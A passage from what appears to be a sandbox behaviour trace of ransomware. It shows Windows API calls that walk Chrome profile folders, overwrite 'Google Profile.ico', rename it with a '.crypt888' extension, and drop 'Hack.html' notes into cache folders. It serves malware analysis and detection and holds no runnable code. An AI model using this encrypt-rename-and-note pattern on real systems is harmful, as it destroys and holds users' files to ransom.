lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.099] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.100] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.101] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.102] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.102] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.102] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0072.102] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.103] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpFilePart=0x0) returned 0x4b [0072.103] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpFilePart=0x0) returned 0x4c [0072.103] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a1a8 [0072.104] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.104] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.104] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.105] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.106] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.107] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.108] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.108] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.108] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.108] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0072.108] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x39e6ac, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x5e [0072.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.111] GetFileType (hFile=0x174) returned 0x1 [0072.112] GetFileType (hFile=0x174) returned 0x1 [0072.112] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39eca8 | out: lpFileSizeHigh=0x39eca8*=0x0) returned 0x2b2e9 [0072.112] ReadFile (in: hFile=0x174, lpBuffer=0x38ffb30, nNumberOfBytesToRead=0x2b2e9, lpNumberOfBytesRead=0x39ec54, lpOverlapped=0x0 | out: lpBuffer=0x38ffb30*, lpNumberOfBytesRead=0x39ec54*=0x2b2e9, lpOverlapped=0x0) returned 1 [0072.172] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x39e694, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x5e [0072.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb88) returned 1 [0072.172] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0072.175] GetFileType (hFile=0x174) returned 0x1 [0072.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb84) returned 1 [0072.175] GetFileType (hFile=0x174) returned 0x1 [0072.175] WriteFile (in: hFile=0x174, lpBuffer=0x36bfeb0*, nNumberOfBytesToWrite=0x2b2f0, lpNumberOfBytesWritten=0x39ec44, lpOverlapped=0x0 | out: lpBuffer=0x36bfeb0*, lpNumberOfBytesWritten=0x39ec44*=0x2b2f0, lpOverlapped=0x0) returned 1 [0072.178] CloseHandle (hObject=0x174) returned 1 [0072.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico", lpFilePart=0x0) returned 0x5e [0072.181] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.crypt888", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.crypt888", lpFilePart=0x0) returned 0x67 [0072.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec2c) returned 1 [0072.182] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), fInfoLevelId=0x0, lpFileInformation=0x39eca8 | out: lpFileInformation=0x39eca8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81c321d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81c321d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbc39e4e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2b2f0)) returned 1 [0072.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec28) returned 1 [0072.182] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Google Profile.ico.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\google profile.ico.crypt888")) returned 1 [0072.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpFilePart=0x0) returned 0x51 [0072.183] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", lpFilePart=0x0) returned 0x52 [0072.183] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.184] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.184] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.184] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.184] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.184] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.185] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.185] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.185] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpFilePart=0x0) returned 0x51 [0072.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", lpFilePart=0x0) returned 0x52 [0072.185] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.185] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.186] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.187] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.187] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Hack.html", lpFilePart=0x0) returned 0x5b [0072.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.187] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.189] GetFileType (hFile=0x174) returned 0x1 [0072.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.189] GetFileType (hFile=0x174) returned 0x1 [0072.189] WriteFile (in: hFile=0x174, lpBuffer=0x26b77a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26b77a8*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.191] CloseHandle (hObject=0x174) returned 1 [0072.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpFilePart=0x0) returned 0x68 [0072.191] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\", lpFilePart=0x0) returned 0x69 [0072.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.196] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.196] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.196] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.197] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.197] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpFilePart=0x0) returned 0x68 [0072.198] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\", lpFilePart=0x0) returned 0x69 [0072.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a1a8 [0072.199] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0072.200] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0072.201] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0072.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0072.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0072.202] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\Hack.html", lpFilePart=0x0) returned 0x72 [0072.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0072.202] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0072.203] GetFileType (hFile=0x174) returned 0x1 [0072.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0072.203] GetFileType (hFile=0x174) returned 0x1 [0072.203] WriteFile (in: hFile=0x174, lpBuffer=0x26bd6b0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x26bd6b0*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0072.204] CloseHandle (hObject=0x174) returned 1 [0072.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0072.205] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", 